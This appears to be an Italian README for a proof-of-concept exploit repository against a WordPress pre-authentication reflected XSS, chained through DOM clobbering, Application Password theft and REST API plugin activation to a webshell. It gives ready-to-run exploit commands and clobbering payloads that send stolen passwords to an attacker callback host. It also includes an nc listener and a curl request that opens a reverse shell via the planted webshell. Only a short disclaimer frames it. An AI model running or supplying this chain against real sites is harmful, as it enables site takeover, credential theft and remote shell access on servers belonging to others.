
CVE-2026-64638 — XSS riflesso pre-autenticazione in WordPress → RCE tramite DOM Clobbering + furto di password applicative + attivazione plugin via REST API. PoC a doppia modalità (catena XSS e diretta).
WordPress Reflected XSS pre-autenticazione → Catena di Remote Code Execution
DOM Clobbering + furto di Application Password + attivazione plugin REST API = RCE completo
CVE-2026-64638 è una Reflected XSS pre-autenticazione critica in WordPress wp-login.php. La vulnerabilità esiste perché il messaggio di errore di login riflette il nome utente inviato senza una corretta codifica HTML, consentendo il DOM Clobbering tramite <area id=ajaxurl> per aggirare la maggior parte dei filtri.
Se concatenata con la funzionalità Application Password di WordPress, questa XSS diventa un vettore di Remote Code Execution completo — nessuna interazione con l'utente oltre alla visita di una pagina trigger appositamente costruita mentre si è autenticati.
┌─────────────────────────────────────────────────────────────────┐
│ [1] XSS (Reflected) │
│ wp-login.php reflects <area id=ajaxurl> in username error │
│ ↓ │
│ [2] DOM Clobbering │
│ <area id=ajaxurl> hijacks wp-admin JS → auto-submits form │
│ ↓ │
│ [3] Application Password Theft │
│ XSS redirects victim to authorize-application.php │
│ success_url callback captures app password │
│ ↓ │
│ [4] REST API Plugin Activation │
│ App password → Basic Auth → wp-json/wp/v2/plugins → active │
│ ↓ │
│ [5] Webshell RCE │
│ Plugin PHP webshell → uid=33(www-data) │
│ Reverse shell also available │
└─────────────────────────────────────────────────────────────────┘
| Version | Status | Notes |
|---|---|---|
| WordPress ≤ 6.9.5 | ✅ Vulnerabile | Le immagini Docker pre-backport sono ancora sfruttabili |
| WordPress 6.9.6+ | ⚠️ Corretto (backport del 7 ago 2026) | Le immagini Docker ricostruite dopo il 7 agosto includono la correzione |
| WordPress 7.0.x | ✅ Vulnerabile | Confermato su 7.0.2 |
| WordPress 7.1+ | ❓ Sconosciuto | Non testato |
pip3 install requests
Tutto qui. Libreria standard di Python 3.8+ per tutto il resto.
# Clone
git clone https://github.com/linuxhackingid/XSS2Shell-CVE-2026-64638.git
cd XSS2Shell-CVE-2026-64638
# Auto mode (recommended)
python3 poc_fixed_v2.py --mode auto -u USER -p PASS --lhost YOUR_IP http://target.com
python3 poc_fixed_v2.py -u admin -p password123 --lhost 192.168.1.100 http://target.com
# Terminal 1: Run the exploit (starts callback server)
python3 poc_fixed_v2.py --mode xss --lhost 192.168.1.100 http://target.com
# Terminal 2: Host the trigger page
cd /path/to/XSS2Shell-CVE-2026-64638
python3 -m http.server 8000
# Send victim: http://192.168.1.100:8000/trigger_target.com.html
La vittima deve essere autenticata in WordPress come amministratore. La pagina trigger:
wp-login.php tramite un iframe nascostoauthorize-application.php per l'approvazione della vittimapython3 poc_fixed_v2.py --mode direct -u admin -p password123 http://target.com
Login diretto → caricamento plugin → webshell immediata. Nessuna XSS richiesta.
# In one terminal
nc -lvnp 4444
# In another — the exploit auto-triggers reverse shell when --lhost is set
python3 poc_fixed_v2.py --mode direct -u admin -p pass --lhost 192.168.1.100 --lport 4444 http://target.com
Oppure manualmente tramite webshell:
curl 'http://target.com/wp-content/plugins/xss2shell/xss2shell.php?rev=YOUR_IP:4444'
XSS2Shell-CVE-2026-64638/
├── poc_fixed_v2.py # Main exploit script (dual-mode)
├── poc.py # Original PoC (for reference)
├── trigger_192.168.0.87.html # Example trigger page
└── README.md # This file
< area id=ajaxurl shape=default href="http://attacker:9090/collect" >
<button id="wp-auth-check" onclick="window.ajaxurl='http://attacker:9090/collect'">x</button>
Perché funziona:
sanitize_user() di WordPress rimuove i tag HTML standard ma non intercetta <area> con uno spazio iniziale<area id=ajaxurl> esegue il DOM Clobbering — dirotta window.ajaxurl usato dal JavaScript di wp-adminwp_auth_check scatta e la XSS reindirizza la vittima a authorize-application.phpsuccess_url invia la password generata al server di callback dell'attaccanteUna volta catturata la Application Password:
/wp-json/wp/v2/POST /wp-json/wp/v2/plugins/{slug} con {"status":"active"}wp-content/plugins/xss2shell/xss2shell.php?cmd=COMMAND?rev=IP:PORT avvia /bin/sh -i di ritorno verso l'attaccante| Target | Version | Mode | Result |
|---|---|---|---|
| Docker (locale) | WordPress 7.0.2 | Catena XSS | ✅ RCE come www-data |
| Docker (locale) | WordPress 7.0.2 | Diretta | ✅ RCE come www-data |
| Docker (locale) | WordPress 6.7 | Catena XSS | ✅ RCE come www-data |
Questo strumento è destinato esclusivamente a test di sicurezza e ricerca autorizzati. Gli autori non si assumono alcuna responsabilità per un uso improprio. Ottenere sempre un'autorizzazione scritta prima di eseguire i test.
"Niente Exploit, Niente Report." — Metodologia Shannon